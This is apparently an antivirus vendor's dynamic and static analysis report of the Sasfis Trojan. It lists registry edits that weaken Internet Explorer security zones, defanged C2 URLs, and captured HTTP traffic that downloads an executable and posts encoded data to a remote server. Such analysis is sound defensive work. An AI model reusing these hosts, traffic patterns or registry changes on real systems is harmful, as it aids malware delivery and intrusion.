Trojan.Win32.Sasfis_0fb1f3393a – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

05a00036.exe:292
%original file name%.exe:580

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexRasPbFileShimCacheMutexMutexNPA_UnitVersioning_580

File activity

The process %original file name%.exe:580 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\5A980C19-D504-40AE-9B51-8127770CF980\05a00036.exe (7972 bytes)

Registry activity

The process 05a00036.exe:292 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4A 7C 07 54 2F C0 54 78 6B 62 51 FC AA B6 8F 0E"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The process %original file name%.exe:580 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\0fb1f3393a6b2e8fd620d2f435dbc494\DEBUG]
"Trace Level" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F F9 82 B0 CF B3 89 9C B4 10 7B 6E 02 45 3F 70"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\5A980C19-D504-40AE-9B51-8127770CF980]
"05a00036.exe" = "05a00036"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\0fb1f3393a6b2e8fd620d2f435dbc494\DEBUG]
"Trace Level"

Dropped PE files

MD5	File path
4bed8cd0c5da7dfa51586fa49506c9b1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\5A980C19-D504-40AE-9B51-8127770CF980\05a00036.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\5A980C19-D504-40AE-9B51-8127770CF980\05a00036.exe (7972 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	3551232	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	3555328	2965504	2964480	5.46737	5be23c8465527e8410416f03986eb3d1
.rsrc	6520832	8192	7680	2.70774	0d6dd413ed88964f6fde4ada18c36641

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 47
33f630a73ee4b967b529e04797e5851d
e6551a9b885bd2db42ad791fb694bcc8
624cb22e647b96057416002d083f2de3
3a030974f82706ac0009f4fda32927a4
f74cc202a0f4d3599b0ec0d2775f9d23
a9f3f20a74331ff892a908e9127dccfd
88fe6a6783f0b2913d31183714c73adf
ac04f58dfbe7956c3b03934950767553
4b2803c2f24122651c9851703b650927
24003bb60e22f634aacf694ba499e0bb
2c1988306e086c35e9137b87a366649b
f290c090d4f4e93aee85490c6a104183
8407adb61d1f148abe9c4b7b55a88f75
691a6e733d66c5bb6a011699cd14bef4
68087fae984dfadbdc0c9c3a033d1360
53315b10853564af0e1c25e9c12698b7
67a81ba8fd81f3bc19380ccb8c0433b1
ed84bfb1bc56b879def6b7135aa27d3a
8126841d703f34fefaf56a7a44b22e0e
a54289061567ef330d06769f96dffd47
fed8da9f835714a2f9f190cf923194bb
672dee03b347e835d01b7ba8a4139c3c
19aa6ca60db46f1f6f8dde8505779b0d
f9db20e4e7c18bcaf9ea5f98a4ca5d14
76a66162415d58a3505033f85f7724a1
1468c64ef638b80b25a9ed54d9c23ed4

Network Activity

URLs

URL	IP
hxxp://cuidu.sevential.ru/api
hxxp://ewej.wiba.tracticed.ru/installs/573/b3ae4241.exe

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /installs/573/b3ae4241.exe HTTP/1.1

Host: ewej.wiba.tracticed.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Tue, 09 Feb 2016 00:09:09 GMT

Content-Type: application/octet-stream

Content-Length: 1428480

Connection: keep-alive

Last-Modified: Mon, 08 Feb 2016 23:50:02 GMT

ETag: "56b929aa-15cc00"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........N..i ..i ..i ......i .....^i ......i ..i!..h .....|i ......i ..;...i ......i .Rich.i .........PE..L...U#.N............................................................................NF....@.....................................................................T...............................H.......................p............................text...L........................... ..`.data...............................@....rsrc...2...........................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 850

Host: cuidu.sevential.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}Tmo.8. .?uXl...X... p/=.M. 0.l..V..I..`..?.qr.p.....R.)..$......k...(..9."g.r.[&. B.r.3..U.'.DG...._.:..uP.n...'`.;.J...6......i.r(M...:M`*..3...

.........&........<..y..&^..q.. .Y...&.V...I8*Y.E........./...]..o....e.......W...-....LVx.S.u...`.o.`........l..W>.~.N...l..n....(D!yET.6.....`MUSA3uT...e....H.y?..8.......\...WP.....y.7.=~.c}.(7j vQ.....5~.hc..>..9.X....u..P..3.U1.....A:...i6.to..........T....a.|.T.....vo..*...Z.h.....v..6..=(.....I ...EUw.q.=o...c......_......:X......\(... ..C..C..Gy.x..q.....P^....[......04.]7.R.A...FdEF.....^.t..#"...l..NW. .P..%.?..xIDFs.....G.Q. .'...)...9&....i..>.9 w.yg.....'`...|.3....../.o`..5....JQR.....1..u......:;*...j..E.8oj9

).......gBd\....Ox..Bl.U.v.....j.....~~)...z.^Ns......=o.i....M...$O..RR,y..\pLq)x.../) @....{..k.D.u...5a..[.I..Ji[V........U5...9.-k..m.U._.X...p| ,.....'..

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Tue, 09 Feb 2016 00:08:37 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

....x..UQo.6.. .....d..$..]dM..].....q0h.hq.).......NT2'X.-}9.Nw...#OtNH...dA.h.!.....2'"L....,.<.r............*p#r*...0.!.h..<..&J......k)..>F'Y<,....U.......(..B....4|;|...S....Y...A...........P..c.{......61.Jh... ./..X..N..W.T../../U....W..0....Y......u.XUk<..U....~.G.p.!.:Z......n:..9zK.af .6...........U|.~..n..PsPP.`.`>..<........d.q.d.$89....*\p,..>r..YF)........y......{...d.>.}.X....D.....:....f[.`x.].......Y..v.f|..k.....7|.Pd?%..F.U.l..[.....n..WB#....2...[.wu1.....%j?...=c...^.~.......K.~.p.......O...../D........2<.....7...;...*'.......*...'..p\.U....H....{....|V..;..R.... ..U.....e.=..y.........Vo....p...h.v.Kp.C.aJ.F,'..'....Z.F*. 7........F5.=.~.Y..l^c...&.Q...SB.0K.$....y.EG......=R.....Q.....l.2.%M.... ....r....g4.q.O.V......'.F..V.......fys....-.".(*5.lY...T....d..a...k.....7....

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 840

Host: cuidu.sevential.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}T.n.8...BO)j.$E..........{..EQP"...D-I......m......sF3.3WVR.qY...i...5.....%&y.b!..%X.~&S.JH.Ht......N.^.@^..j.:N9....4E[mT..o.....P.F.W.....X..'...=..Y|...... ....y..#g.....E.^...."q...#P.e...p.>Y..EbD.|.......W....t.... ....&Y}M0...*n ..~[@..Q. .?~.....Y..p[.6..\......bI[...nX.2uT`&..,5..H.y?..8...........W..lg..y........h..4.......k...hj.....s...{.^f....{3\a...............{c..........B..!{.kN.O~Q|oGc.Z...4c.../1F7".......g.m....r..a..........H......."k...f.}..;':u....t...nh#..D....g...........A...)......q9..-.......zPB..TY.._.<j

.n?~D.......z.

..Xr..Y.....a....zR......E..~!.1}.&...Z...Y. .;#..m.x.....;O.}....}...u.n..?>.U.8..&;.b*........:;)...j..E#p.4b@R"'..i:...*..tO..B.....T..yR...../..2..SpF`..^..^.8.rFO..t.....$-RJRR2F.%'EJ*... ....% r.1..,..)......|..E...7..x.yAI..\.."U%..3..R.d.q.y.z|Nc.....A.J......

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Tue, 09 Feb 2016 00:08:35 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

z...x..S.n.0...Cy..,.Hv.h;.M..]....a..E.c.........(%E........y.HQ.........h....n..~_&4.....Tz.M....R.".B...b..>K.......Q?.^?..a.$>c..VI..&..v.Y...05 k-.....T.3.'iU.\...g4T..T.....m.F.g.o...w7.5w...S*.....=`....t.....Y9..&..&I.C)......h..H*%aR..rR.uV.x.D.5`........Pu.Odz.T.Y9o.c.r.......V..8F..v..$._./D..S|.,..[Z.9........ .-...g1......6.I.L.kx/B.......u./....\9....*H...m..eGC)...Y....S...(.;......E.Nu.c1Gc... .>~&.U.....s.I........b(......Sg..2..m3L.fw..vQ.....T.h}=.~......_..1........#...6#.j.`.?...^%z).p~.n.>........;........}.o......L.\J.........9qFBoTn3..i...?.....3J.i..^..w..]....G...T7...3.{.(........>Y...o....

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 199

Host: cuidu.sevential.ru

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

0...x.M.Kn.AD... .n..=.A.M...&R.q.xX....*WIb6L.k..6.4g....j1L...Kks...X.`......o....z.._Gc..M.c0...'>..c<......p&.....

9..@......../}_.eZ,.C.B.

.YIyN.a..,{?...j*2R...R.5&n,C..-.G..N.......1...`MK.

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Tue, 09 Feb 2016 00:08:39 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

7...x......@...^...c%t...........v.p[...j.9.........x.g.P.}?x.....

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

05a00036.exe_292:

.text

`.itext

`.data

.idata

.didata

.rdata

@.rsrc

TArray

System.Types

HKEY

!"#$%&'(!)* ,-./0'

System.SysUtils

ENoMonitorSupportException

TArray

IEnumerable0!

TArray

TMarshaller.PDisposeRec,

TMarshaller.TDisposeProc

TMarshaller.TDisposeRec

TMarshaller.IDisposer

TMarshaller.TDisposer'

TMarshaller.TDisposer

/TArray

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

System.SysUtilsL

&TArray

System.Variants

Operator

EVariantBadIndexError

System.SyncObjs

System.Generics.Defaults

IEqualityComparer

IComparer

TCustomComparer

TCustomComparer\

System.Generics.Collections

doOwnsKeys

System.Rtti

GetIndexedProperties

GetIndexedProperty

GetDeclaredIndexedProperties

TMethodImplementation.TFloatReg

):TMethodImplementation.TInterceptFrame.:1

%TMethodImplementation.TInterceptFrame(

*TMethodImplementation.TFirstStageIntercept

%TMethodImplementation.PInterceptFramelK

*TMethodImplementation.PFirstStageIntercept8L

TMethodImplementation.TParamLoc

!TMethodImplementation.TInvokeInfoK

!TMethodImplementation.TInvokeInfo

TRttiIndexedPropertyS

TRttiIndexedProperty

FIndexedProps

TArray

-TFunc>

TArray

!TArray

(TArray

%TArray

TArray

3TArray

8TEnumerator(

8TEnumeratorp|

8TEnumerable-

8TEnumerable

;TList.arrayofT

6IComparer

CTCollectionNotifyEvent

:TArrayManagerg

:TArrayManager

8IEnumerable0!

=TList.TEmptyFunc

>TList.TEnumerator5

>TList.TEnumerator`

2TList&

2TList

"TArray

&TArray

-TPair

AKey

ATArray>

FTEnumerator>(

FTEnumerator>

FTEnumerable>-

FTEnumerable>

9TDictionary.TItem

>TDictionary.TItemArray

!IEqualityComparer

&TCollectionNotifyEvent

/TCollectionNotifyEvent

TArray

TEnumerator(

TEnumerator

TEnumerable-

TEnumerableD

BTDictionary.TKeyEnumerator;

BTDictionary.TKeyEnumerator

BTDictionary.TKeyCollection;

BTDictionary.TKeyCollectionx

TArray

$TEnumerator(

$TEnumerator

$TEnumerable-

$TEnumerable

DTDictionary.TValueEnumerator;

DTDictionary.TValueEnumeratorl

DTDictionary.TValueCollection;

DTDictionary.TValueCollection`

CTDictionary.TPairEnumerator;

CTDictionary.TPairEnumerator|

FOnKeyNotify

FKeyCollection

3TDictionary9

ContainsKey

3TDictionaryl

Keys

OnKeyNotify

TArray

-TPair

ATArray>

FTEnumerator>(

FTEnumerator>X

FTEnumerable>-

FTEnumerable>

9TDictionary.TItem

>TDictionary.TItemArray

IEqualityComparer

0TCollectionNotifyEvent

%TCollectionNotifyEvent

TArray

%TEnumerator(

%TEnumerator

%TEnumerable-

%TEnumerable

BTDictionary.TKeyEnumerator;

BTDictionary.TKeyEnumerator$

BTDictionary.TKeyCollection;

BTDictionary.TKeyCollection

TEnumerator(

TEnumerator0

TEnumerable-

TEnumerable\

DTDictionary.TValueEnumerator;

DTDictionary.TValueEnumerator

DTDictionary.TValueCollection;

DTDictionary.TValueCollection

CTDictionary.TPairEnumerator;

CTDictionary.TPairEnumerator

3TDictionary9

3TDictionary

OnKeyNotifyD

-TPair

ATArray>

FTEnumerator>(

FTEnumerator>P

FTEnumerable>-

FTEnumerable>

9TDictionary.TItem

>TDictionary.TItemArray

BTDictionary.TKeyEnumerator;

BTDictionary.TKeyEnumeratorp

BTDictionary.TKeyCollection;

BTDictionary.TKeyCollection`

DTDictionary.TValueEnumerator;

DTDictionary.TValueEnumerator|

DTDictionary.TValueCollection;

DTDictionary.TValueCollectionp

CTDictionary.TPairEnumerator;

CTDictionary.TPairEnumerator

3TDictionary9

3TDictionary|$

#IComparer

%TComparison

#TComparer2

#TComparer

$TEnumerator(

$TEnumerator

$TEnumerable-

$TEnumerable

'TList.arrayofT

"IComparer

/TCollectionNotifyEvent

&TArrayManagerg

&TArrayManager

$IEnumerable0!

)TList.TEmptyFunc

*TList.TEnumerator5

*TList.TEnumerator

TList&

TList

-TArray>

7TArray>

.TArray>

0TArray>

&TEnumerator(

&TEnumerator

&TEnumerable-

&TEnumerable

)TList.arrayofT

$IComparer

1TCollectionNotifyEvent

(TArrayManagerg

(TArrayManager

&IEnumerable0!

TList.TEmptyFunc

,TList.TEnumerator5

,TList.TEnumerator

TList&

TList|

$TEnumerator(

$TEnumeratorT

$TEnumerable-

$TEnumerable

'TList.arrayofT

"IComparer

/TCollectionNotifyEvent

&TArrayManagerg

&TArrayManager`

$IEnumerable0!

)TList.TEmptyFunc

*TList.TEnumerator5

*TList.TEnumeratorT

TList&

TList

#TEnumerator(

#TEnumerator

#TEnumerable-

#TEnumerable

&TList.arrayofT

!IComparer

.TCollectionNotifyEvent

%TArrayManagerg

%TArrayManager

#IEnumerable0!

(TList.TEmptyFunc

)TList.TEnumerator5

)TList.TEnumerator

TList&

TList

*TEnumerator(

*TEnumerable-

*TEnumerablet

-TList.arrayofT

(IComparer

5TCollectionNotifyEvent

,TArrayManagerg

,TArrayManagerh

*IEnumerable0!

/TList.TEmptyFunc

0TList.TEnumerator5

0TList.TEnumeratorp

$TList&

$TList0

9TObjectDictionaryM

9TObjectDictionary

8TComparison

6TComparer2

6TComparer

>TMoveArrayManagerg

>TMoveArrayManager

ITList>.arrayofT

DIComparer>

QTCollectionNotifyEvent>

Item-TPair

HTArrayManager>g

HTArrayManager>@

FIEnumerable>0!

KTList>.TEmptyFunc

LTList>.TEnumerator5

LTList>.TEnumerator

@TList>&

@TList>

TList.arrayofT

IComparer

TArrayManagerg

TArrayManager

IEnumerable0!

TList.TEmptyFunc

!TList.TEnumerator5

!TList.TEnumerator|

TList&

TList

'TList.arrayofT

"IComparer

&TArrayManagerg

&TArrayManager

$IEnumerable0!

)TList.TEmptyFunc

*TList.TEnumerator5

*TList.TEnumerator

TList&

TListD

ITList>.arrayofT

DIComparer>

QTCollectionNotifyEvent>

Item-TPair

HTArrayManager>g

HTArrayManager>

FIEnumerable>0!

KTList>.TEmptyFunc

LTList>.TEnumerator5

LTList>.TEnumerator

@TList>&

@TList>

(TList.arrayofT

#IComparer

'TArrayManagerg

'TArrayManager

%IEnumerable0!

*TList.TEmptyFunc

TList.TEnumerator5

TList.TEnumerator

TList&

TListH

TList.arrayofT

TArrayManagerg

TArrayManagerx,

TList.TEmptyFunc

TList.TEnumerator5

TList.TEnumerator

TList&

TList

ITList>.arrayofT

DIComparer>

QTCollectionNotifyEvent>

Item-TPair

HTArrayManager>g

HTArrayManager>

FIEnumerable>0!

KTList>.TEmptyFunc

LTList>.TEnumerator5

LTList>.TEnumerator

@TList>&

@TList>

$TComparison

"TComparer2

"TComparer

*TMoveArrayManagerg

*TMoveArrayManager

&TComparison

$TComparer2

$TComparer

,TMoveArrayManagerg

,TMoveArrayManager

$TComparison

"TComparer2

"TComparer

*TMoveArrayManagerg

*TMoveArrayManager

#TComparison

!TComparer2

!TComparer

)TMoveArrayManagerg

)TMoveArrayManager|c

*TComparison

(TComparer2

(TComparer

0TMoveArrayManagerg

0TMoveArrayManagerph

FTComparison>

DTComparer>2

DTComparer>

LTMoveArrayManager>g

LTMoveArrayManager>

TComparison

TComparer2

TComparer0q

!TMoveArrayManagerg

!TMoveArrayManager

$TComparison

"TComparer2

"TComparer

*TMoveArrayManagerg

*TMoveArrayManager

FTComparison>

DTComparer>2

DTComparer>

LTMoveArrayManager>g

LTMoveArrayManager>

%TComparison

#TComparer2

#TComparer`

TMoveArrayManagerg

TMoveArrayManager

TComparison

TComparer2

TComparer8

TMoveArrayManagerg

TMoveArrayManager

FTComparison>

DTComparer>2

DTComparer>

LTMoveArrayManager>g

LTMoveArrayManager>

,TDelegatedComparer8

,TDelegatedComparer`

System.TypInfo

mkOperatorOverload

PFieldExEntry

TFieldExEntry

PVmtMethodExEntry

TVmtMethodExEntry

TPropSetV

TPropSet

TPropSetV

TPropSet

TPropSetK

TPropSet

TPropSetK

TPropSett

TPropSetK

TPropSet

TPropSetK

TPropSetP

TPropSetK

TPropSet

TPropSetV

TPropSet

System.Classes

AOperator

HandlexE

TComponentClassH

TThread.TSynchronizeRecord

TThread.TSystemTimes

GetCPUUsage

TOperation

TObservers.TCanObserveEvent

TObservers.TObserverAddedEvent

Operation

FOnExecute

OnExecute

TArray

TEnumerator(

TEnumerator

TEnumerable-

TEnumerable

!TList.arrayofT

IComparer

)TCollectionNotifyEvent

TArrayManagerg

TArrayManager

IEnumerable0!

#TList.TEmptyFunc

$TList.TEnumerator5

$TList.TEnumeratorp

TList&

TList

TThreadList&

TThreadList

&TArray

TEnumerator(

TEnumeratorX

TEnumerable-

TEnumerable

.TList.arrayofT

System.Generics.Collectionsd

)IComparer

6TCollectionNotifyEvent

-TArrayManagerg

-TArrayManager

IEnumerable0!

0TList.TEmptyFunc

1TList.TEnumerator5

1TList.TEnumerator

%TList&

%TListl

TArray

TEnumerator(

TEnumerator

TEnumerable-

TEnumerable

TList.arrayofT

IComparer

&TCollectionNotifyEvent

TArrayManagerg

TArrayManagerX

IEnumerable0!

TList.TEmptyFunc

!TList.TEnumerator5

!TList.TEnumerator(

TList&

TList

!TArray

&TEnumerator(

&TEnumerator

&TEnumerable-

&TEnumerable

)TList.arrayofT

System.Generics.CollectionsH

$IComparer

1TCollectionNotifyEvent

(TArrayManagerg

(TArrayManager

&IEnumerable0!

TList.TEmptyFunc

,TList.TEnumerator5

,TList.TEnumerator

TList&

TList

3TPair

JTArray>

OTEnumerator>(

OTEnumerator>

OTEnumerable>-

OTEnumerable>

?TDictionary.TItem

DTDictionary.TItemArray

System.Generics.Collectionsp

!IEqualityComparer

&TCollectionNotifyEvent

5TCollectionNotifyEvent

TEnumerator(

TEnumerator

TEnumerable-

TEnumerable

HTDictionary.TKeyEnumerator;

HTDictionary.TKeyEnumerator

HTDictionary.TKeyCollection;

HTDictionary.TKeyCollection

%TArray

*TEnumerator(

*TEnumerator

*TEnumerable-

*TEnumerable

JTDictionary.TValueEnumerator;

JTDictionary.TValueEnumerator,

JTDictionary.TValueCollection;

JTDictionary.TValueCollection,

ITDictionary.TPairEnumerator;

ITDictionary.TPairEnumeratorX

9TDictionary9

9TDictionaryT

KeysX

'TArray

,TEnumerator(

,TEnumerator`

,TEnumerable-

,TEnumerable

/TList.arrayofT

*IComparer

7TCollectionNotifyEvent

.TArrayManagerg

.TArrayManager

,IEnumerable0!

1TList.TEmptyFunc

2TList.TEnumerator5

2TList.TEnumerator

&TList&

&TList

4TPair

KTArray>

PTEnumerator>(

PTEnumerator>t@

PTEnumerable>-

PTEnumerable>

@TDictionary.TItem

ETDictionary.TItemArray

System.Generics.Collections`C

7TCollectionNotifyEvent

ITDictionary.TKeyEnumerator;

ITDictionary.TKeyEnumerator

ITDictionary.TKeyCollection;

ITDictionary.TKeyCollection

'TArray

,TEnumerator(

,TEnumerator

,TEnumerable-

,TEnumerableTK

KTDictionary.TValueEnumerator;

KTDictionary.TValueEnumerator

KTDictionary.TValueCollection;

KTDictionary.TValueCollection

JTDictionary.TPairEnumerator;

JTDictionary.TPairEnumerator

:TDictionary9

:TDictionary

OnKeyNotifytD

/TList.arrayofT

*IComparer

.TArrayManagerg

.TArrayManagerd[

,IEnumerable0!

1TList.TEmptyFunc

2TList.TEnumerator5

2TList.TEnumeratorx^

&TList&

&TList

TArray

%TEnumerator(

%TEnumeratordm

%TEnumerable-

%TEnumerable

(TList.arrayofT

#IComparer

0TCollectionNotifyEvent

'TArrayManagerg

'TArrayManagerxq

%IEnumerable0!

*TList.TEmptyFunc

TList.TEnumerator5

TList.TEnumeratorpt

TList&

TList$v

%TObjectList

TArray

%TEnumerator(

%TEnumerator

%TEnumerable-

%TEnumerable|

(TList.arrayofT

#IComparer

0TCollectionNotifyEvent

'TArrayManagerg

'TArrayManagerP

%IEnumerable0!

*TList.TEmptyFunc

TList.TEnumerator5

TList.TEnumeratorH

TList&

TList

%TThreadList&

%TThreadList

TList.Sort$1846$0$Intf

TList.Sort$1846$ActRec

TList.Sort$1846$ActRecx

!TArray

&TEnumerator(

&TEnumerator0

&TEnumerable-

&TEnumerablet

)TList.arrayofT

System.Generics.Collectionsl

$IComparer

1TCollectionNotifyEvent

(TArrayManagerg

(TArrayManagerL

&IEnumerable0!

TList.TEmptyFunc

,TList.TEnumerator5

,TList.TEnumeratorD

TList&

TList

&TThreadList&

&TThreadList

System.ClassesH

TComponent.Create@$2648$0$Intf

&TComparison

$TComparer2

$TComparer`

-TDelegatedComparer8

-TDelegatedComparer

TComponent.Create@$2648$ActRec

#TComponent.GetObservers$2660$0$Intf

#TComponent.GetObservers$2660$1$Intf

#TComponent.GetObservers$2660$ActRec

TComparison

TComparer2

TComparer

$TMoveArrayManagerg

$TMoveArrayManager

TComparison

)TComparer2

)TComparer

1TMoveArrayManagerg

1TMoveArrayManager

System.Classesd

TComparison

TComparer2

TComparer

!TMoveArrayManagerg

!TMoveArrayManagert-

,TMoveArrayManagerg

,TMoveArrayManager

RTList>.arrayofT

MIComparer>

ZTCollectionNotifyEvent>

Item3TPair

QTArrayManager>g

QTArrayManager>t4

OIEnumerable>0!

TTList>.TEmptyFunc

UTList>.TEnumerator5

UTList>.TEnumerator

ITList>&

ITList>

TList.arrayofT

IComparer

TArrayManagerg

